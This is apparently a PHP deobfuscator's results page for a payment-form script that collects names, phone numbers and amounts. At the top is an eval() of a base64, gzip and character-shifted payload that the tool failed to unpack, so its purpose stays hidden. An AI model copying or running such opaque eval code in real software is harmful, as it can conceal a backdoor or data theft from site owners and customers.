Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function bXnUpw($Vhci) { $Vhci=gzinflate(base64_decode($Vhci)); for($i=0;$i<str..

Decoded Output download

<?php function bXnUpw($Vhci) 
{  
$Vhci=gzinflate(base64_decode($Vhci)); 
 for($i=0;$i<strlen($Vhci);$i++) 
 { 
$Vhci[$i] = chr(ord($Vhci[$i])-1); 
 } 
 return $Vhci; 
 }eval(bXnUpw("bZJrS8MwFIZ/wH7FIQzaQplTmKCjzlvBD+7iNv1SSontmQ2kTU1bcYi/3SS9bKjph5KT5zycvARAr4HE95pJjEQeo22xPOZ1guVJijQZFWlhOdMB24ENw2jjr1/8dWCt/adnf7ON5v72YXlvheB5Hlir5WZrgQNfA60d0kzUeQUesLz6oNweRhoIrKaummYzmIxB2Q2+q/mCZqh4/Cy4SNAGoj5XHbWNijBI00pu0gwTmItUlRLSaYpU5FpSVjKSWHAa9yJibJVkWT+LoVvfpF3E6VyxHlTu79QwyviG1Urjt7REXeolR5gVOsZ1cT4hnaQuK5GhVIbAVADIjsmyinI1OPGu+qsH42aQhdA74nZ0xpKE41/8tMEPIKf/Wc9+Y5hRxg3SXsAUmhTsNsARkOuSck5HJSWOiq1rNse6ubuMqrUBRLFKwHiPEnEPWF5nrygNYCztSWj+4bTdDmvJVVYF3dvdE3IPKTodpl8nSps8iphWTOSXppH05wlD22y+fwA="));?> 
 
 
<style> 
    .iti__selected-country{ 
        background-color: snow; 
    } 
    </style> 
 
<div class="d-flex flex-column vh-100"> 
    <div class="container my-5 "> 
        <div class="row"> 
            <div class="col-md-6 offset-md-3"> 
                <h1 class="text-center"> 
                    <?= $config['site']['name'] ?? "Pay With TapPayment" ?> 
                    <img src="assets/img/logo.png" style="border-radius: 13px;" alt="Fox Store Pay" width="84" 
                        height="84"> 
                </h1> 
            </div> 
        </div> 
    </div> 
    <form method="post" class="container mb-auto needs-validation" novalidate> 
        <div class="row"> 
            <div class="col-md-8 offset-md-2"> 
                <div class="input-group mb-3"> 
                    <span class="input-group-text" id="name-addon"> 
                        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" 
                            class="bi bi-person-circle" viewBox="0 0 16 16"> 
                            <path d="M11 6a3 3 0 1 1-6 0 3 3 0 0 1 6 0" /> 
                            <path fill-rule="evenodd" 
                                d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8m8-7a7 7 0 0 0-5.468 11.37C3.242 11.226 4.805 10 8 10s4.757 1.225 5.468 2.37A7 7 0 0 0 8 1" /> 
                        </svg> 
 
                    </span> 
                    <input type="text" required name="fullName" class="form-control form-control-lg" 
                        placeholder=" " aria-label="full-name" aria-describedby="name-addon"> 
                    <div class="invalid-feedback"> 
                            
                    </div> 
                </div> 
            </div> 
 
            <div class="col-md-8 offset-md-2"> 
                <div class="input-group mb-3"> 
                    <input id="phone" type="tel" name="phone" dir="ltr" required placeholder="" 
                        class="form-control form-control-lg" /> 
                    <div id="phone-output"> 
 
                    </div> 
                </div> 
            </div> 
            <div class="col-md-8 offset-md-2"> 
                <div class="input-group mb-3"> 
                    <span class="input-group-text"></span> 
                    <input type="number" min="1" name="amount" required class="form-control form-control-lg" 
                        aria-label="Amount"> 
                    <div class="invalid-feedback"> 
                           
                    </div> 
 
                </div> 
            </div> 
            <div class="col-md-8 offset-md-2"> 
                <button type="submit" class="btn btn-primary w-100"> </button> 
            </div> 
                        <div class="col-md-8 offset-md-2 mt-4"> 
                <a href="<?= $config["contacts"]["telegram"] ?? "" ?>" target="_blank" class="btn btn-primary w-100"> 
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" 
                        class="bi bi-telegram" viewBox="0 0 16 16"> 
                        <path 
                            d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0M8.287 5.906q-1.168.486-4.666 2.01-.567.225-.595.442c-.03.243.275.339.69.47l.175.055c.408.133.958.288 1.243.294q.39.01.868-.32 3.269-2.206 3.374-2.23c.05-.012.12-.026.166.016s.042.12.037.141c-.03.129-1.227 1.241-1.846 1.817-.193.18-.33.307-.358.336a8 8 0 0 1-.188.186c-.38.366-.664.64.015 1.088.327.216.589.393.85.571.284.194.568.387.936.629q.14.092.27.187c.331.236.63.448.997.414.214-.02.435-.22.547-.82.265-1.417.786-4.486.906-5.751a1.4 1.4 0 0 0-.013-.315.34.34 0 0 0-.114-.217.53.53 0 0 0-.31-.093c-.3.005-.763.166-2.984 1.09"> 
                        </path> 
                    </svg> 
                      
                        </a> 
            </div> 
        </div> 
    </form> 
     
    <?php require_once( __DIR__ . "/includes/footer.php") ?> 
 
    <script> 
    const input = document.querySelector("#phone"); 
    const output = document.querySelector("#phone-output"); 
     
    window.iti = window.intlTelInput(input, { 
        i18n: telAr, 
        nationalMode: true, 
        geoIpLookup: callback => { 
            fetch("https://ipapi.co/json") 
                .then(res => res.json()) 
                .then(data => callback(data.country_code)) 
                .catch(() => callback("sa")); 
        }, 
        hiddenInput: () => ({ 
            phone: "fullPhone", 
            country: "countryCode" 
        }), 
        onlyCountries: [ 
            'qa', 'sa', 'ae', 'ma', 'bh', 'om', 'kw', 'jo', 'eg', 'sy', 'tn', 'ly', 'ps', 'dz', 'mr', 'lb', 
            'sd', 'iq', 'ye', 'dj', 'so', 'km' 
        ], 
        utilsScript: "/assets/js/utils.js" 
    }); 
 
    const handleChange = () => { 
        let text = ""; 
        if (!input.value || !iti.isValidNumber()) { 
            text = "    "; 
 
        } 
        output.innerHTML = ""; 
        output.appendChild(document.createTextNode(text)); 
 
    }; 
 
    // listen to "keyup", but also "change" to update when the user selects a country 
    input.addEventListener('change', handleChange); 
    input.addEventListener('keyup', handleChange); 
    </script> 
    <script> 
    (() => { 
        'use strict' 
 
        // Fetch all the forms we want to apply custom Bootstrap validation styles to 
        const forms = document.querySelectorAll('.needs-validation') 
 
        // Loop over them and prevent submission 
        Array.from(forms).forEach(form => { 
            form.addEventListener('submit', event => { 
                const phoneInput = document.querySelector("#phone"); 
                if (!form.checkValidity()) { 
                    if (!phoneInput.value || !iti.isValidNumber()) { 
                        document.querySelector("#phone").classList.add("is-invalid", 
                            "was-validated"); 
                        document.querySelector("#phone-output").innerHTML = 
                            "    "; 
                    } 
                    event.preventDefault() 
                    event.stopPropagation() 
                } else if (!phoneInput.value || !iti.isValidNumber()) { 
                    console.log(iti.isValidNumber()); 
                    document.querySelector("#phone").classList.add("is-invalid", "was-validated"); 
                    document.querySelector("#phone-output").innerHTML = 
                        "    "; 
                    event.preventDefault() 
                    event.stopPropagation() 
                }else{ 
                    document.querySelector("#phone").classList.remove("is-invalid", "was-validated"); 
                    document.querySelector("#phone-output").innerHTML = ""; 
                } 
 
                form.classList.add('was-validated') 
            }, false) 
        }) 
        document.querySelector("#phone").classList.remove("is-invalid", "was-validated"); 
    })() 
    </script> 
</div> 
</body> 
 
</html>

Did this file decode correctly?

Original Code

<?php function bXnUpw($Vhci)
{ 
$Vhci=gzinflate(base64_decode($Vhci));
 for($i=0;$i<strlen($Vhci);$i++)
 {
$Vhci[$i] = chr(ord($Vhci[$i])-1);
 }
 return $Vhci;
 }eval(bXnUpw("bZJrS8MwFIZ/wH7FIQzaQplTmKCjzlvBD+7iNv1SSontmQ2kTU1bcYi/3SS9bKjph5KT5zycvARAr4HE95pJjEQeo22xPOZ1guVJijQZFWlhOdMB24ENw2jjr1/8dWCt/adnf7ON5v72YXlvheB5Hlir5WZrgQNfA60d0kzUeQUesLz6oNweRhoIrKaummYzmIxB2Q2+q/mCZqh4/Cy4SNAGoj5XHbWNijBI00pu0gwTmItUlRLSaYpU5FpSVjKSWHAa9yJibJVkWT+LoVvfpF3E6VyxHlTu79QwyviG1Urjt7REXeolR5gVOsZ1cT4hnaQuK5GhVIbAVADIjsmyinI1OPGu+qsH42aQhdA74nZ0xpKE41/8tMEPIKf/Wc9+Y5hRxg3SXsAUmhTsNsARkOuSck5HJSWOiq1rNse6ubuMqrUBRLFKwHiPEnEPWF5nrygNYCztSWj+4bTdDmvJVVYF3dvdE3IPKTodpl8nSps8iphWTOSXppH05wlD22y+fwA="));?>


<style>
    .iti__selected-country{
        background-color: snow;
    }
    </style>

<div class="d-flex flex-column vh-100">
    <div class="container my-5 ">
        <div class="row">
            <div class="col-md-6 offset-md-3">
                <h1 class="text-center">
                    <?= $config['site']['name'] ?? "Pay With TapPayment" ?>
                    <img src="assets/img/logo.png" style="border-radius: 13px;" alt="Fox Store Pay" width="84"
                        height="84">
                </h1>
            </div>
        </div>
    </div>
    <form method="post" class="container mb-auto needs-validation" novalidate>
        <div class="row">
            <div class="col-md-8 offset-md-2">
                <div class="input-group mb-3">
                    <span class="input-group-text" id="name-addon">
                        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor"
                            class="bi bi-person-circle" viewBox="0 0 16 16">
                            <path d="M11 6a3 3 0 1 1-6 0 3 3 0 0 1 6 0" />
                            <path fill-rule="evenodd"
                                d="M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8m8-7a7 7 0 0 0-5.468 11.37C3.242 11.226 4.805 10 8 10s4.757 1.225 5.468 2.37A7 7 0 0 0 8 1" />
                        </svg>

                    </span>
                    <input type="text" required name="fullName" class="form-control form-control-lg"
                        placeholder=" " aria-label="full-name" aria-describedby="name-addon">
                    <div class="invalid-feedback">
                           
                    </div>
                </div>
            </div>

            <div class="col-md-8 offset-md-2">
                <div class="input-group mb-3">
                    <input id="phone" type="tel" name="phone" dir="ltr" required placeholder=""
                        class="form-control form-control-lg" />
                    <div id="phone-output">

                    </div>
                </div>
            </div>
            <div class="col-md-8 offset-md-2">
                <div class="input-group mb-3">
                    <span class="input-group-text"></span>
                    <input type="number" min="1" name="amount" required class="form-control form-control-lg"
                        aria-label="Amount">
                    <div class="invalid-feedback">
                          
                    </div>

                </div>
            </div>
            <div class="col-md-8 offset-md-2">
                <button type="submit" class="btn btn-primary w-100"> </button>
            </div>
                        <div class="col-md-8 offset-md-2 mt-4">
                <a href="<?= $config["contacts"]["telegram"] ?? "" ?>" target="_blank" class="btn btn-primary w-100">
                    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor"
                        class="bi bi-telegram" viewBox="0 0 16 16">
                        <path
                            d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0M8.287 5.906q-1.168.486-4.666 2.01-.567.225-.595.442c-.03.243.275.339.69.47l.175.055c.408.133.958.288 1.243.294q.39.01.868-.32 3.269-2.206 3.374-2.23c.05-.012.12-.026.166.016s.042.12.037.141c-.03.129-1.227 1.241-1.846 1.817-.193.18-.33.307-.358.336a8 8 0 0 1-.188.186c-.38.366-.664.64.015 1.088.327.216.589.393.85.571.284.194.568.387.936.629q.14.092.27.187c.331.236.63.448.997.414.214-.02.435-.22.547-.82.265-1.417.786-4.486.906-5.751a1.4 1.4 0 0 0-.013-.315.34.34 0 0 0-.114-.217.53.53 0 0 0-.31-.093c-.3.005-.763.166-2.984 1.09">
                        </path>
                    </svg>
                     
                        </a>
            </div>
        </div>
    </form>
    
    <?php require_once( __DIR__ . "/includes/footer.php") ?>

    <script>
    const input = document.querySelector("#phone");
    const output = document.querySelector("#phone-output");
    
    window.iti = window.intlTelInput(input, {
        i18n: telAr,
        nationalMode: true,
        geoIpLookup: callback => {
            fetch("https://ipapi.co/json")
                .then(res => res.json())
                .then(data => callback(data.country_code))
                .catch(() => callback("sa"));
        },
        hiddenInput: () => ({
            phone: "fullPhone",
            country: "countryCode"
        }),
        onlyCountries: [
            'qa', 'sa', 'ae', 'ma', 'bh', 'om', 'kw', 'jo', 'eg', 'sy', 'tn', 'ly', 'ps', 'dz', 'mr', 'lb',
            'sd', 'iq', 'ye', 'dj', 'so', 'km'
        ],
        utilsScript: "/assets/js/utils.js"
    });

    const handleChange = () => {
        let text = "";
        if (!input.value || !iti.isValidNumber()) {
            text = "    ";

        }
        output.innerHTML = "";
        output.appendChild(document.createTextNode(text));

    };

    // listen to "keyup", but also "change" to update when the user selects a country
    input.addEventListener('change', handleChange);
    input.addEventListener('keyup', handleChange);
    </script>
    <script>
    (() => {
        'use strict'

        // Fetch all the forms we want to apply custom Bootstrap validation styles to
        const forms = document.querySelectorAll('.needs-validation')

        // Loop over them and prevent submission
        Array.from(forms).forEach(form => {
            form.addEventListener('submit', event => {
                const phoneInput = document.querySelector("#phone");
                if (!form.checkValidity()) {
                    if (!phoneInput.value || !iti.isValidNumber()) {
                        document.querySelector("#phone").classList.add("is-invalid",
                            "was-validated");
                        document.querySelector("#phone-output").innerHTML =
                            "    ";
                    }
                    event.preventDefault()
                    event.stopPropagation()
                } else if (!phoneInput.value || !iti.isValidNumber()) {
                    console.log(iti.isValidNumber());
                    document.querySelector("#phone").classList.add("is-invalid", "was-validated");
                    document.querySelector("#phone-output").innerHTML =
                        "    ";
                    event.preventDefault()
                    event.stopPropagation()
                }else{
                    document.querySelector("#phone").classList.remove("is-invalid", "was-validated");
                    document.querySelector("#phone-output").innerHTML = "";
                }

                form.classList.add('was-validated')
            }, false)
        })
        document.querySelector("#phone").classList.remove("is-invalid", "was-validated");
    })()
    </script>
</div>
</body>

</html>

Function Calls

None

Variables

None

Stats

MD5 01442a124218a1939f3edb83360ca53b
Eval Count 0
Decode Time 44 ms